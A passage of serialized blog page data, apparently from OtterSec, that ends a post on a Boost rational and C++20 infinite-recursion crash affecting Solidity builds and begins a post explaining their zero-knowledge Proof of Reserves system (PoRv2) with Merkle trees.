./crash\n",{"type":24,"tag":327,"props":98447,"children":98448},{"class":329,"line":367},[98449,98453],{"type":24,"tag":327,"props":98450,"children":98451},{"style":425},[98452],{"type":29,"value":97142},{"type":24,"tag":327,"props":98454,"children":98455},{"style":844},[98456],{"type":29,"value":98457}," \u003Cboost/rational.hpp>\n",{"type":24,"tag":327,"props":98459,"children":98460},{"class":329,"line":408},[98461],{"type":24,"tag":327,"props":98462,"children":98463},{"emptyLinePlaceholder":16},[98464],{"type":29,"value":544},{"type":24,"tag":327,"props":98466,"children":98467},{"class":329,"line":421},[98468,98472,98476],{"type":24,"tag":327,"props":98469,"children":98470},{"style":334},[98471],{"type":29,"value":337},{"type":24,"tag":327,"props":98473,"children":98474},{"style":340},[98475],{"type":29,"value":97507},{"type":24,"tag":327,"props":98477,"children":98478},{"style":346},[98479],{"type":29,"value":9697},{"type":24,"tag":327,"props":98481,"children":98482},{"class":329,"line":450},[98483,98488,98492,98496,98500],{"type":24,"tag":327,"props":98484,"children":98485},{"style":346},[98486],{"type":29,"value":98487},"    boost::rational",{"type":24,"tag":327,"props":98489,"children":98490},{"style":381},[98491],{"type":29,"value":1596},{"type":24,"tag":327,"props":98493,"children":98494},{"style":334},[98495],{"type":29,"value":337},{"type":24,"tag":327,"props":98497,"children":98498},{"style":381},[98499],{"type":29,"value":438},{"type":24,"tag":327,"props":98501,"children":98502},{"style":346},[98503],{"type":29,"value":97536},{"type":24,"tag":327,"props":98505,"children":98506},{"class":329,"line":481},[98507,98511,98515,98519,98523],{"type":24,"tag":327,"props":98508,"children":98509},{"style":425},[98510],{"type":29,"value":6023},{"type":24,"tag":327,"props":98512,"children":98513},{"style":346},[98514],{"type":29,"value":97548},{"type":24,"tag":327,"props":98516,"children":98517},{"style":381},[98518],{"type":29,"value":642},{"type":24,"tag":327,"props":98520,"children":98521},{"style":397},[98522],{"type":29,"value":6695},{"type":24,"tag":327,"props":98524,"children":98525},{"style":346},[98526],{"type":29,"value":405},{"type":24,"tag":327,"props":98528,"children":98529},{"class":329,"line":500},[98530],{"type":24,"tag":327,"props":98531,"children":98532},{"style":346},[98533],{"type":29,"value":592},{"type":24,"tag":25,"props":98535,"children":98536},{},[98537],{"type":29,"value":98538},"Expected output: nothing.",{"type":24,"tag":25,"props":98540,"children":98541},{},[98542],{"type":29,"value":98543},"Actual: segmentation fault (stack overflow).",{"type":24,"tag":25,"props":98545,"children":98546},{},[98547,98549,98556],{"type":29,"value":98548},"This exact pattern was ",{"type":24,"tag":57,"props":98550,"children":98553},{"href":98551,"rel":98552},"https://github.com/boostorg/rational/issues/43",[61],[98554],{"type":29,"value":98555},"reported and fixed in Boost rational",{"type":29,"value":98557},", but only in version 1.75+.",{"type":24,"tag":25,"props":98559,"children":98560},{},[98561],{"type":29,"value":98562},"Here’s the one-line fix:",{"type":24,"tag":317,"props":98564,"children":98566},{"code":98565,"language":47076,"meta":7,"className":47074,"style":7},"template \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n   operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n-     return a == b;\n+     return a.operator==(b);\n}\n",[98567],{"type":24,"tag":284,"props":98568,"children":98569},{"__ignoreMap":7},[98570,98578,98585,98593,98601,98609,98616,98624,98632],{"type":24,"tag":327,"props":98571,"children":98572},{"class":329,"line":330},[98573],{"type":24,"tag":327,"props":98574,"children":98575},{"style":346},[98576],{"type":29,"value":98577},"template \u003Cclass Arg, class IntType>\n",{"type":24,"tag":327,"props":98579,"children":98580},{"class":329,"line":367},[98581],{"type":24,"tag":327,"props":98582,"children":98583},{"style":346},[98584],{"type":29,"value":98194},{"type":24,"tag":327,"props":98586,"children":98587},{"class":329,"line":408},[98588],{"type":24,"tag":327,"props":98589,"children":98590},{"style":346},[98591],{"type":29,"value":98592},"inline typename boost::enable_if_c \u003C\n",{"type":24,"tag":327,"props":98594,"children":98595},{"class":329,"line":421},[98596],{"type":24,"tag":327,"props":98597,"children":98598},{"style":346},[98599],{"type":29,"value":98600},"   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n",{"type":24,"tag":327,"props":98602,"children":98603},{"class":329,"line":450},[98604],{"type":24,"tag":327,"props":98605,"children":98606},{"style":346},[98607],{"type":29,"value":98608},"   operator == (const Arg& b, const rational\u003CIntType>& a)\n",{"type":24,"tag":327,"props":98610,"children":98611},{"class":329,"line":481},[98612],{"type":24,"tag":327,"props":98613,"children":98614},{"style":346},[98615],{"type":29,"value":18427},{"type":24,"tag":327,"props":98617,"children":98618},{"class":329,"line":500},[98619],{"type":24,"tag":327,"props":98620,"children":98621},{"style":844},[98622],{"type":29,"value":98623},"-     return a == b;\n",{"type":24,"tag":327,"props":98625,"children":98626},{"class":329,"line":529},[98627],{"type":24,"tag":327,"props":98628,"children":98629},{"style":397},[98630],{"type":29,"value":98631},"+     return a.operator==(b);\n",{"type":24,"tag":327,"props":98633,"children":98634},{"class":329,"line":538},[98635],{"type":24,"tag":327,"props":98636,"children":98637},{"style":346},[98638],{"type":29,"value":592},{"type":24,"tag":25,"props":98640,"children":98641},{},[98642,98644,98649,98651,98656],{"type":29,"value":98643},"Instead of calling ",{"type":24,"tag":284,"props":98645,"children":98647},{"className":98646},[],[98648],{"type":29,"value":96974},{"type":29,"value":98650}," — which triggers overload resolution again — the patched version directly calls the member function ",{"type":24,"tag":284,"props":98652,"children":98654},{"className":98653},[],[98655],{"type":29,"value":96982},{"type":29,"value":66},{"type":24,"tag":25,"props":98658,"children":98659},{},[98660],{"type":29,"value":98661},"This prevents C++20 from triggering recursive rewrites.",{"type":24,"tag":68,"props":98663,"children":98664},{},[],{"type":24,"tag":228,"props":98666,"children":98668},{"id":98667},"part-iv-how-this-breaks-solidity",[98669],{"type":29,"value":98670},"Part IV: How This Breaks Solidity",{"type":24,"tag":25,"props":98672,"children":98673},{},[98674,98676,98681],{"type":29,"value":98675},"The Solidity codebase uses ",{"type":24,"tag":284,"props":98677,"children":98679},{"className":98678},[],[98680],{"type":29,"value":96829},{"type":29,"value":98682}," to represent certain compile-time constant expressions.",{"type":24,"tag":25,"props":98684,"children":98685},{},[98686,98688,98694],{"type":29,"value":98687},"One snippet that can trigger this issue appears in ",{"type":24,"tag":284,"props":98689,"children":98691},{"className":98690},[],[98692],{"type":29,"value":98693},"DeclarationTypeChecker::endVisit",{"type":29,"value":1636},{"type":24,"tag":317,"props":98696,"children":98698},{"code":98697,"language":35820,"meta":7,"className":35818,"style":7},"if (Expression const* length = _typeName.length()) {\n    std::optional\u003Crational> lengthValue;\n\n    if (length->annotation().type && length->annotation().type->category() == Type::Category::RationalNumber)\n        ...\n    else if (std::optional\u003CConstantEvaluator::TypedRational> value = ConstantEvaluator::evaluate(...))\n        lengthValue = value->value;\n\n    if (!lengthValue)\n        ...\n    else if (*lengthValue == 0)  // \u003C-- Infinite recursion happens here\n        ...\n}\n",[98699],{"type":24,"tag":284,"props":98700,"children":98701},{"__ignoreMap":7},[98702,98749,98774,98781,98859,98866,98919,98947,98954,98974,98981,99021,99028],{"type":24,"tag":327,"props":98703,"children":98704},{"class":329,"line":330},[98705,98709,98714,98718,98722,98727,98731,98736,98740,98744],{"type":24,"tag":327,"props":98706,"children":98707},{"style":425},[98708],{"type":29,"value":5999},{"type":24,"tag":327,"props":98710,"children":98711},{"style":346},[98712],{"type":29,"value":98713}," (Expression ",{"type":24,"tag":327,"props":98715,"children":98716},{"style":334},[98717],{"type":29,"value":17202},{"type":24,"tag":327,"props":98719,"children":98720},{"style":381},[98721],{"type":29,"value":469},{"type":24,"tag":327,"props":98723,"children":98724},{"style":346},[98725],{"type":29,"value":98726}," length ",{"type":24,"tag":327,"props":98728,"children":98729},{"style":381},[98730],{"type":29,"value":384},{"type":24,"tag":327,"props":98732,"children":98733},{"style":356},[98734],{"type":29,"value":98735}," _typeName",{"type":24,"tag":327,"props":98737,"children":98738},{"style":346},[98739],{"type":29,"value":66},{"type":24,"tag":327,"props":98741,"children":98742},{"style":340},[98743],{"type":29,"value":16064},{"type":24,"tag":327,"props":98745,"children":98746},{"style":346},[98747],{"type":29,"value":98748},"()) {\n",{"type":24,"tag":327,"props":98750,"children":98751},{"class":329,"line":367},[98752,98757,98761,98765,98769],{"type":24,"tag":327,"props":98753,"children":98754},{"style":346},[98755],{"type":29,"value":98756},"    std::optional",{"type":24,"tag":327,"props":98758,"children":98759},{"style":381},[98760],{"type":29,"value":1596},{"type":24,"tag":327,"props":98762,"children":98763},{"style":346},[98764],{"type":29,"value":97834},{"type":24,"tag":327,"props":98766,"children":98767},{"style":381},[98768],{"type":29,"value":438},{"type":24,"tag":327,"props":98770,"children":98771},{"style":346},[98772],{"type":29,"value":98773}," lengthValue;\n",{"type":24,"tag":327,"props":98775,"children":98776},{"class":329,"line":408},[98777],{"type":24,"tag":327,"props":98778,"children":98779},{"emptyLinePlaceholder":16},[98780],{"type":29,"value":544},{"type":24,"tag":327,"props":98782,"children":98783},{"class":329,"line":421},[98784,98788,98792,98796,98800,98804,98808,98812,98816,98821,98825,98829,98833,98837,98841,98846,98850,98854],{"type":24,"tag":327,"props":98785,"children":98786},{"style":425},[98787],{"type":29,"value":428},{"type":24,"tag":327,"props":98789,"children":98790},{"style":346},[98791],{"type":29,"value":5894},{"type":24,"tag":327,"props":98793,"children":98794},{"style":356},[98795],{"type":29,"value":16064},{"type":24,"tag":327,"props":98797,"children":98798},{"style":346},[98799],{"type":29,"value":1679},{"type":24,"tag":327,"props":98801,"children":98802},{"style":340},[98803],{"type":29,"value":36872},{"type":24,"tag":327,"props":98805,"children":98806},{"style":346},[98807],{"type":29,"value":36877},{"type":24,"tag":327,"props":98809,"children":98810},{"style":356},[98811],{"type":29,"value":39467},{"type":24,"tag":327,"props":98813,"children":98814},{"style":381},[98815],{"type":29,"value":21717},{"type":24,"tag":327,"props":98817,"children":98818},{"style":356},[98819],{"type":29,"value":98820}," length",{"type":24,"tag":327,"props":98822,"children":98823},{"style":346},[98824],{"type":29,"value":1679},{"type":24,"tag":327,"props":98826,"children":98827},{"style":340},[98828],{"type":29,"value":36872},{"type":24,"tag":327,"props":98830,"children":98831},{"style":346},[98832],{"type":29,"value":36877},{"type":24,"tag":327,"props":98834,"children":98835},{"style":356},[98836],{"type":29,"value":39467},{"type":24,"tag":327,"props":98838,"children":98839},{"style":346},[98840],{"type":29,"value":1679},{"type":24,"tag":327,"props":98842,"children":98843},{"style":340},[98844],{"type":29,"value":98845},"category",{"type":24,"tag":327,"props":98847,"children":98848},{"style":346},[98849],{"type":29,"value":7338},{"type":24,"tag":327,"props":98851,"children":98852},{"style":381},[98853],{"type":29,"value":642},{"type":24,"tag":327,"props":98855,"children":98856},{"style":346},[98857],{"type":29,"value":98858}," Type::Category::RationalNumber)\n",{"type":24,"tag":327,"props":98860,"children":98861},{"class":329,"line":450},[98862],{"type":24,"tag":327,"props":98863,"children":98864},{"style":346},[98865],{"type":29,"value":88569},{"type":24,"tag":327,"props":98867,"children":98868},{"class":329,"line":481},[98869,98874,98878,98883,98887,98892,98896,98901,98905,98910,98914],{"type":24,"tag":327,"props":98870,"children":98871},{"style":425},[98872],{"type":29,"value":98873},"    else",{"type":24,"tag":327,"props":98875,"children":98876},{"style":425},[98877],{"type":29,"value":23305},{"type":24,"tag":327,"props":98879,"children":98880},{"style":346},[98881],{"type":29,"value":98882}," (std::optional",{"type":24,"tag":327,"props":98884,"children":98885},{"style":381},[98886],{"type":29,"value":1596},{"type":24,"tag":327,"props":98888,"children":98889},{"style":346},[98890],{"type":29,"value":98891},"ConstantEvaluator::TypedRational",{"type":24,"tag":327,"props":98893,"children":98894},{"style":381},[98895],{"type":29,"value":438},{"type":24,"tag":327,"props":98897,"children":98898},{"style":346},[98899],{"type":29,"value":98900}," value ",{"type":24,"tag":327,"props":98902,"children":98903},{"style":381},[98904],{"type":29,"value":384},{"type":24,"tag":327,"props":98906,"children":98907},{"style":346},[98908],{"type":29,"value":98909}," ConstantEvaluator::",{"type":24,"tag":327,"props":98911,"children":98912},{"style":340},[98913],{"type":29,"value":44718},{"type":24,"tag":327,"props":98915,"children":98916},{"style":346},[98917],{"type":29,"value":98918},"(...))\n",{"type":24,"tag":327,"props":98920,"children":98921},{"class":329,"line":500},[98922,98927,98931,98935,98939,98943],{"type":24,"tag":327,"props":98923,"children":98924},{"style":346},[98925],{"type":29,"value":98926},"        lengthValue ",{"type":24,"tag":327,"props":98928,"children":98929},{"style":381},[98930],{"type":29,"value":384},{"type":24,"tag":327,"props":98932,"children":98933},{"style":356},[98934],{"type":29,"value":39221},{"type":24,"tag":327,"props":98936,"children":98937},{"style":346},[98938],{"type":29,"value":1679},{"type":24,"tag":327,"props":98940,"children":98941},{"style":356},[98942],{"type":29,"value":45865},{"type":24,"tag":327,"props":98944,"children":98945},{"style":346},[98946],{"type":29,"value":405},{"type":24,"tag":327,"props":98948,"children":98949},{"class":329,"line":529},[98950],{"type":24,"tag":327,"props":98951,"children":98952},{"emptyLinePlaceholder":16},[98953],{"type":29,"value":544},{"type":24,"tag":327,"props":98955,"children":98956},{"class":329,"line":538},[98957,98961,98965,98969],{"type":24,"tag":327,"props":98958,"children":98959},{"style":425},[98960],{"type":29,"value":428},{"type":24,"tag":327,"props":98962,"children":98963},{"style":346},[98964],{"type":29,"value":5894},{"type":24,"tag":327,"props":98966,"children":98967},{"style":381},[98968],{"type":29,"value":1986},{"type":24,"tag":327,"props":98970,"children":98971},{"style":346},[98972],{"type":29,"value":98973},"lengthValue)\n",{"type":24,"tag":327,"props":98975,"children":98976},{"class":329,"line":547},[98977],{"type":24,"tag":327,"props":98978,"children":98979},{"style":346},[98980],{"type":29,"value":88569},{"type":24,"tag":327,"props":98982,"children":98983},{"class":329,"line":557},[98984,98988,98992,98996,99000,99004,99008,99012,99016],{"type":24,"tag":327,"props":98985,"children":98986},{"style":425},[98987],{"type":29,"value":98873},{"type":24,"tag":327,"props":98989,"children":98990},{"style":425},[98991],{"type":29,"value":23305},{"type":24,"tag":327,"props":98993,"children":98994},{"style":346},[98995],{"type":29,"value":5894},{"type":24,"tag":327,"props":98997,"children":98998},{"style":381},[98999],{"type":29,"value":469},{"type":24,"tag":327,"props":99001,"children":99002},{"style":346},[99003],{"type":29,"value":96805},{"type":24,"tag":327,"props":99005,"children":99006},{"style":381},[99007],{"type":29,"value":642},{"type":24,"tag":327,"props":99009,"children":99010},{"style":397},[99011],{"type":29,"value":6695},{"type":24,"tag":327,"props":99013,"children":99014},{"style":346},[99015],{"type":29,"value":3146},{"type":24,"tag":327,"props":99017,"children":99018},{"style":551},[99019],{"type":29,"value":99020},"  // \u003C-- Infinite recursion happens here\n",{"type":24,"tag":327,"props":99022,"children":99023},{"class":329,"line":586},[99024],{"type":24,"tag":327,"props":99025,"children":99026},{"style":346},[99027],{"type":29,"value":88569},{"type":24,"tag":327,"props":99029,"children":99030},{"class":329,"line":1017},[99031],{"type":24,"tag":327,"props":99032,"children":99033},{"style":346},[99034],{"type":29,"value":592},{"type":24,"tag":25,"props":99036,"children":99037},{},[99038],{"type":29,"value":99039},"Under normal circumstances, this expression is benign. But:",{"type":24,"tag":1380,"props":99041,"children":99042},{},[99043,99048,99053],{"type":24,"tag":179,"props":99044,"children":99045},{},[99046],{"type":29,"value":99047},"G++ \u003C 14 wrongly prefers Boost's non-member operator",{"type":24,"tag":179,"props":99049,"children":99050},{},[99051],{"type":29,"value":99052},"C++20 reverses the arguments",{"type":24,"tag":179,"props":99054,"children":99055},{},[99056],{"type":29,"value":99057},"The non-member operator recursively calls itself",{"type":24,"tag":25,"props":99059,"children":99060},{},[99061],{"type":29,"value":99062},"💥: segmentation fault.",{"type":24,"tag":68,"props":99064,"children":99065},{},[],{"type":24,"tag":228,"props":99067,"children":99069},{"id":99068},"part-v-what-environments-are-affected",[99070],{"type":29,"value":99071},"Part V: What Environments are Affected?",{"type":24,"tag":25,"props":99073,"children":99074},{},[99075],{"type":29,"value":99076},"If a system uses any of the following:",{"type":24,"tag":1380,"props":99078,"children":99079},{},[99080,99085,99090],{"type":24,"tag":179,"props":99081,"children":99082},{},[99083],{"type":29,"value":99084},"G++ \u003C 14 (e.g., Ubuntu 22.04 uses 11.4)",{"type":24,"tag":179,"props":99086,"children":99087},{},[99088],{"type":29,"value":99089},"Boost \u003C 1.75 (e.g., 1.74 ships with Ubuntu)",{"type":24,"tag":179,"props":99091,"children":99092},{},[99093],{"type":29,"value":99094},"C++20 enabled (default in recent Solidity builds)",{"type":24,"tag":25,"props":99096,"children":99097},{},[99098,99100,99105,99107,99113],{"type":29,"value":99099},"They will encounter this crash ",{"type":24,"tag":188,"props":99101,"children":99102},{},[99103],{"type":29,"value":99104},"as soon as",{"type":29,"value":99106}," it processes a Solidity source with a length expression like ",{"type":24,"tag":284,"props":99108,"children":99110},{"className":99109},[],[99111],{"type":29,"value":99112},"T[0]",{"type":29,"value":99114}," or anything involving compile-time rational comparisons.",{"type":24,"tag":68,"props":99116,"children":99117},{},[],{"type":24,"tag":228,"props":99119,"children":99121},{"id":99120},"recommendations",[99122],{"type":29,"value":99123},"Recommendations",{"type":24,"tag":1380,"props":99125,"children":99126},{},[99127,99135],{"type":24,"tag":179,"props":99128,"children":99129},{},[99130],{"type":24,"tag":188,"props":99131,"children":99132},{},[99133],{"type":29,"value":99134},"Update Boost to ≥ 1.75",{"type":24,"tag":179,"props":99136,"children":99137},{},[99138],{"type":24,"tag":188,"props":99139,"children":99140},{},[99141],{"type":29,"value":99142},"Pin G++ to v14 or later",{"type":24,"tag":68,"props":99144,"children":99145},{},[],{"type":24,"tag":228,"props":99147,"children":99148},{"id":10412},[99149],{"type":29,"value":226},{"type":24,"tag":25,"props":99151,"children":99152},{},[99153],{"type":29,"value":99154},"This isn’t a security vulnerability. It doesn’t corrupt memory or allow code execution.",{"type":24,"tag":25,"props":99156,"children":99157},{},[99158,99160,99164],{"type":29,"value":99159},"But it ",{"type":24,"tag":188,"props":99161,"children":99162},{},[99163],{"type":29,"value":11569},{"type":29,"value":99165}," a reminder of the fragility of modern build stacks. A bug introduced in 2012, fixed in 2024, quietly broke one of the most used blockchain compiler toolchains — all without any code in the Solidity repo being “wrong.”",{"type":24,"tag":25,"props":99167,"children":99168},{},[99169],{"type":29,"value":99170},"Every layer here — Boost, G++, the C++20 spec, and Solidity — behaved “as documented.” But together, they composed into undefined behavior.",{"type":24,"tag":25,"props":99172,"children":99173},{},[99174],{"type":29,"value":99175},"The lesson? Always test critical software under multiple compilers and library versions — especially when enabling a new language standard.",{"type":24,"tag":10448,"props":99177,"children":99178},{},[99179],{"type":29,"value":10452},{"title":7,"searchDepth":367,"depth":367,"links":99181},[99182,99183,99188,99191,99192,99193,99194,99195],{"id":96865,"depth":367,"text":96868},{"id":96954,"depth":367,"text":96957,"children":99184},[99185,99186,99187],{"id":96960,"depth":408,"text":96963},{"id":97028,"depth":408,"text":97031},{"id":97119,"depth":408,"text":97122},{"id":97703,"depth":367,"text":97706,"children":99189},[99190],{"id":97709,"depth":408,"text":97712},{"id":97820,"depth":367,"text":97823},{"id":98667,"depth":367,"text":98670},{"id":99068,"depth":367,"text":99071},{"id":99120,"depth":367,"text":99123},{"id":10412,"depth":367,"text":226},"content:blog:2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug",{"_path":99200,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":99201,"description":99202,"date":99203,"author":37910,"image":99204,"isFeatured":16,"onBlogPage":16,"tags":99206,"body":99209,"_type":10481,"_id":103985,"_source":10483,"_file":103986,"_stem":103987,"_extension":10486},"/blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds","PoRv2: A Fast, Transparent ZK-Based Proof of Reserves","Here, we explore zk-proofs, Merkle trees, and our new open-source implementation, PoRv2. Our proof-of-reserve enables users to verify exchange liabilities without relying on external auditors, setting a new standard for trust.","2025-08-27",{"src":99205,"width":14,"height":14},"/posts/por/title.png",[99207,99208],"zk","por",{"type":21,"children":99210,"toc":103962},[99211,99217,99229,99241,99246,99278,99292,99298,99310,99315,99320,99357,99362,99368,99373,99380,99385,99411,99416,99422,99442,99456,99464,99469,99474,99482,99495,99501,99583,99589,99594,99607,99612,99619,99643,99651,99656,99662,99667,100115,100128,100134,100139,100147,100165,100173,100186,100194,101855,101860,101867,101873,101878,101885,101901,101908,101916,101923,103434,103439,103446,103452,103457,103484,103489,103508,103514,103522,103540,103589,103597,103616,103638,103644,103657,103662,103669,103674,103737,103742,103749,103769,103775,103780,103786,103791,103835,103840,103848,103854,103859,103901,103906,103914,103919,103927,103931,103936,103949],{"type":24,"tag":228,"props":99212,"children":99214},{"id":99213},"what-is-a-proof-of-reserves",[99215],{"type":29,"value":99216},"What is a Proof of Reserves?",{"type":24,"tag":25,"props":99218,"children":99219},{},[99220,99222,99227],{"type":29,"value":99221},"At its heart, ",{"type":24,"tag":188,"props":99223,"children":99224},{},[99225],{"type":29,"value":99226},"Proof of Reserves (PoR)",{"type":29,"value":99228}," is a crucial system designed to show that a crypto platform genuinely holds the funds it owes to its users. It's how exchanges and custodians can prove, using strong cryptographic methods, that they have enough assets to cover all customer deposits.",{"type":24,"tag":25,"props":99230,"children":99231},{},[99232,99234,99239],{"type":29,"value":99233},"Think of it this way: ",{"type":24,"tag":188,"props":99235,"children":99236},{},[99237],{"type":29,"value":99238},"PoR",{"type":29,"value":99240}," is about enabling transparency. It's a way for platforms to provide clear, verifiable evidence of their financial health. For users, it means gaining confidence that their funds are secure on the platforms they use.",{"type":24,"tag":25,"props":99242,"children":99243},{},[99244],{"type":29,"value":99245},"Historically, traditional ways of proving reserves often had drawbacks. They might reveal too much sensitive information about the platform and rely heavily on external auditors without a direct user verification method.",{"type":24,"tag":25,"props":99247,"children":99248},{},[99249,99251,99258,99260,99267,99269,99276],{"type":29,"value":99250},"We from OtterSec, in partnership with ",{"type":24,"tag":57,"props":99252,"children":99255},{"href":99253,"rel":99254},"https://backpack.exchange/",[61],[99256],{"type":29,"value":99257},"Backpack",{"type":29,"value":99259},", just developed a Proof of Reserves system that can be used to prove CEX solvency. Our ",{"type":24,"tag":57,"props":99261,"children":99264},{"href":99262,"rel":99263},"https://github.com/otter-sec/por_v2",[61],[99265],{"type":29,"value":99266},"Zero-Knowledge Proof of Reserves (PoRv2)",{"type":29,"value":99268}," was based on ",{"type":24,"tag":57,"props":99270,"children":99273},{"href":99271,"rel":99272},"https://www.okx.com/en-eu/help/zero-knowledge-proofs-what-are-zk-starks-and-how-do-they-work-v2",[61],[99274],{"type":29,"value":99275},"OKX Proof of Reserves algorithm",{"type":29,"value":99277}," since it was the fastest and most efficient one known so far. We also use recursive plonky2 as the algorithm for zero-knowledge proving, but we made some improvements to the circuits for more transparency and verifiable information on the user side, eliminating the need to trust the audit company.",{"type":24,"tag":25,"props":99279,"children":99280},{},[99281,99283,99290],{"type":29,"value":99282},"In addition, we also created and open-sourced a ",{"type":24,"tag":57,"props":99284,"children":99287},{"href":99285,"rel":99286},"https://github.com/otter-sec/por_verifier_server",[61],[99288],{"type":29,"value":99289},"PoR verifier server",{"type":29,"value":99291}," that receives the proofs and validates them.",{"type":24,"tag":228,"props":99293,"children":99295},{"id":99294},"why-do-we-use-zk-for-por",[99296],{"type":29,"value":99297},"Why do we use ZK for PoR?",{"type":24,"tag":25,"props":99299,"children":99300},{},[99301,99303,99308],{"type":29,"value":99302},"Proving reserves is crucial, but it presents a unique challenge for any platform holding user funds: how do you publicly prove solvency without also exposing sensitive user balance information or revealing proprietary financial details? This is where ",{"type":24,"tag":188,"props":99304,"children":99305},{},[99306],{"type":29,"value":99307},"Zero-Knowledge Proofs (ZKPs)",{"type":29,"value":99309}," become game-changers.",{"type":24,"tag":25,"props":99311,"children":99312},{},[99313],{"type":29,"value":99314},"Simply put, a Zero-Knowledge Proof allows one party to prove to another that a statement is true without revealing any information beyond the validity of the statement itself. Imagine proving you know a secret password without actually telling anyone the password. You confirm you possess the knowledge, but the secret remains yours.",{"type":24,"tag":25,"props":99316,"children":99317},{},[99318],{"type":29,"value":99319},"In the context of Proof of Reserves, ZKPs are perfectly suited to solve the privacy paradox. They enable a platform to prove two important things cryptographically:",{"type":24,"tag":175,"props":99321,"children":99322},{},[99323,99340],{"type":24,"tag":179,"props":99324,"children":99325},{},[99326,99331,99333,99339],{"type":24,"tag":188,"props":99327,"children":99328},{},[99329],{"type":29,"value":99330},"Sum proof",{"type":29,"value":99332},": The exchange liability is equal to the sum of all users' balances. (e.g: ",{"type":24,"tag":284,"props":99334,"children":99336},{"className":99335},[],[99337],{"type":29,"value":99338},"btc_liability = user1_btc + user2_btc + user3_btc + ...",{"type":29,"value":2108},{"type":24,"tag":179,"props":99341,"children":99342},{},[99343,99348,99350,99355],{"type":24,"tag":188,"props":99344,"children":99345},{},[99346],{"type":29,"value":99347},"Non-negativity",{"type":29,"value":99349},": All users have a ",{"type":24,"tag":188,"props":99351,"children":99352},{},[99353],{"type":29,"value":99354},"positive",{"type":29,"value":99356}," net balance. This ensures that the sum proof is not tampered with by users with negative net balances. A user can have negative asset balances (e.g., borrowing BTC) but only if collateralized with other assets.",{"type":24,"tag":25,"props":99358,"children":99359},{},[99360],{"type":29,"value":99361},"It is worth noting that we cannot guarantee that all users were included in the ZK analysis. Therefore, if we only used ZKPs to prove those two statements, the exchange could tamper with the sum proof by excluding users from the PoR. That's why we also use a Merkle tree to prove inclusions.",{"type":24,"tag":228,"props":99363,"children":99365},{"id":99364},"what-is-a-merkle-tree-and-how-does-it-help-in-a-por",[99366],{"type":29,"value":99367},"What is a Merkle Tree and how does it help in a PoR?",{"type":24,"tag":25,"props":99369,"children":99370},{},[99371],{"type":29,"value":99372},"A Merkle tree is a tree data structure where each leaf node is a cryptographic hash of an individual piece of data (like a user's balance), and every non-leaf node is a cryptographic hash of its child nodes. This structure allows for the entire dataset to be summarized by a single, unique hash at the top, called the Merkle Root.",{"type":24,"tag":25,"props":99374,"children":99375},{},[99376],{"type":24,"tag":11511,"props":99377,"children":99379},{"alt":57299,"src":99378},"/posts/por/merkle-tree.png",[],{"type":24,"tag":25,"props":99381,"children":99382},{},[99383],{"type":29,"value":99384},"In the PoR, we can use a Merkle tree to verify the inclusion of each user in the Proof of Reserves. It works like this:",{"type":24,"tag":175,"props":99386,"children":99387},{},[99388,99401,99406],{"type":24,"tag":179,"props":99389,"children":99390},{},[99391,99393,99399],{"type":29,"value":99392},"The Merkle tree is generated using the leaf nodes as the hashes of the user information (e.g., ",{"type":24,"tag":284,"props":99394,"children":99396},{"className":99395},[],[99397],{"type":29,"value":99398},"sha256({id: 1, balances: {\"BTC\": 0.1, \"ETH\": 0.2, ...}})",{"type":29,"value":99400},");",{"type":24,"tag":179,"props":99402,"children":99403},{},[99404],{"type":29,"value":99405},"The Merkle tree is made public;",{"type":24,"tag":179,"props":99407,"children":99408},{},[99409],{"type":29,"value":99410},"Each user can download the Merkle tree and check if their account was included by hashing their account information and checking if the hash is one of the leaves;",{"type":24,"tag":25,"props":99412,"children":99413},{},[99414],{"type":29,"value":99415},"In other words, this use of the Merkle tree allows users to easily verify that their individual balance was included in the overall total.",{"type":24,"tag":228,"props":99417,"children":99419},{"id":99418},"ottersec-porv2",[99420],{"type":29,"value":99421},"OtterSec PoRv2",{"type":24,"tag":25,"props":99423,"children":99424},{},[99425,99431,99433,99440],{"type":24,"tag":57,"props":99426,"children":99428},{"href":99262,"rel":99427},[61],[99429],{"type":29,"value":99430},"We just open-sourced our Proof of Reserves code (PoRv2)",{"type":29,"value":99432},", which uses the ",{"type":24,"tag":57,"props":99434,"children":99437},{"href":99435,"rel":99436},"https://github.com/0xPolygonZero/plonky2",[61],[99438],{"type":29,"value":99439},"plonky2 ZK algorithm",{"type":29,"value":99441}," to create a Merkle tree and a final ZK proof that recursively verifies smaller sum and non-negativity proofs.",{"type":24,"tag":25,"props":99443,"children":99444},{},[99445,99447,99454],{"type":29,"value":99446},"We named it PoRv2 because we already had a version based on ",{"type":24,"tag":57,"props":99448,"children":99451},{"href":99449,"rel":99450},"https://vitalik.eth.limo/general/2022/11/19/proof_of_solvency.html",[61],[99452],{"type":29,"value":99453},"Vitalik's proof of solvency",{"type":29,"value":99455},", which was not optimal.",{"type":24,"tag":25,"props":99457,"children":99458},{},[99459],{"type":24,"tag":188,"props":99460,"children":99461},{},[99462],{"type":29,"value":99463},"Non-negativity Proof",{"type":24,"tag":25,"props":99465,"children":99466},{},[99467],{"type":29,"value":99468},"In our non-negativity proof, the circuit receives the asset balances of each user and the price of each asset. With these inputs, it calculates the account's USD balance and checks if it is greater than 0.",{"type":24,"tag":25,"props":99470,"children":99471},{},[99472],{"type":29,"value":99473},"We also check for overflows during summation to prevent tampering in the final result.",{"type":24,"tag":25,"props":99475,"children":99476},{},[99477],{"type":24,"tag":188,"props":99478,"children":99479},{},[99480],{"type":29,"value":99481},"Sum Proof",{"type":24,"tag":25,"props":99483,"children":99484},{},[99485,99487,99493],{"type":29,"value":99486},"The sum proof verifies a public circuit input that was calculated by summing up all user balances of each asset. (e.g., ",{"type":24,"tag":284,"props":99488,"children":99490},{"className":99489},[],[99491],{"type":29,"value":99492},"BTC final: user1_btc + user2_btc ...",{"type":29,"value":99494},"). Note that each asset's final sum is not USD-based; we calculate the final balance using the asset balance itself.",{"type":24,"tag":235,"props":99496,"children":99498},{"id":99497},"what-are-the-ottersec-porv2-key-points",[99499],{"type":29,"value":99500},"What are the OtterSec PoRv2 key 